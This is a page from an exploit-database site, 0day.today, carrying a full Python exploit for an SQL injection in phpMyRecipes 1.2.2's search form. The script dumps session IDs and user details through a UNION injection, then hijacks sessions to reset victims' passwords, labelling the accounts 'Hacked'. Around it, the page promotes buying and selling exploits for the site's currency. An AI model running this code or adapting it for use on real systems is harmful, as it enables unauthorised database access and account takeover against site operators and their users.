0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
phpMyRecipes 1.2.2 SQL Injection Exploit
phpMyRecipes 1.2.2 (dosearch.php, words_exact param) - SQL Injection Exploit #!/usr/bin/python import httplib from bs4 import BeautifulSoup import re import os ########### # Function that takes an SQL select statement and inject it into the words_exact variable of dosearch.php # Returns BeautifulSoup object ########### def sqli(select): inject = '"\' IN BOOLEAN MODE) UNION ' + select + '#' body = 'words_all=&words_exact=' + inject + '&words_any=&words_without=&name_exact=&ing_modifier=2' c = httplib.HTTPConnection('127.0.0.1:80') c.request("POST", '/phpMyRecipes/dosearch.php', body, headers) r = c.getresponse() html = r.read() return BeautifulSoup(html) ############# # Variables # ############# headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Endocing": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded"} select = 'SELECT userid,sessionID from sessions;' # Modify the select statement to see what else you can do data = {} ########### # Run Injection and see what comes back ########### soup = sqli(select) ########### # Parse returned information with BeautifulSoup- store in data dictionary ########### for ID in soup("a", text=re.compile(r"^.{32}$")): data[ID.string] = {} values = ['userid','username','cookieOK','privs','ts'] for value in values: #select = "SELECT NULL,userid from sessions where sessionID='" + ID.string + "';" select = "SELECT NULL," + value + " from sessions where sessionID='" + ID.string + "';" soup = sqli(select) rval = soup("a")[-1].string data[ID.string][value] = rval ########### # Loop through data- print session information and decide if you want to change a user's password ########### for sessionid,values in data.iteritems(): print "Session ID: " + sessionid for field,value in values.iteritems(): print "\t" + field + ": " + value print("Do you want to change this user's password? (y/N)"), ans = 'N' ans = raw_input() goforth = re.compile("[Yy].*") if goforth.match(ans): print("Enter new password: "), os.system("stty -echo") password1 = raw_input() os.system("stty echo") print("\nAgain with the password: "), os.system("stty -echo") password2 = raw_input() os.system("stty echo") print ("") if password1 == password2: body = 'sid=' + sessionid + '&username=' + data[sessionid]['username'] + '&name=Hacked&email=hacked%40hacked.com&password1=' + password1 + '&password2=' + password1 c = httplib.HTTPConnection('127.0.0.1:80') c.request("POST", '/phpMyRecipes/profile.php', body, headers) r = c.getresponse() html = r.read() print ("===================================") print BeautifulSoup(html)("p",{"class": "content"})[0].string print ("===================================\n\n") else: print "Passwords did not match" # 0day.today [2024-11-15] #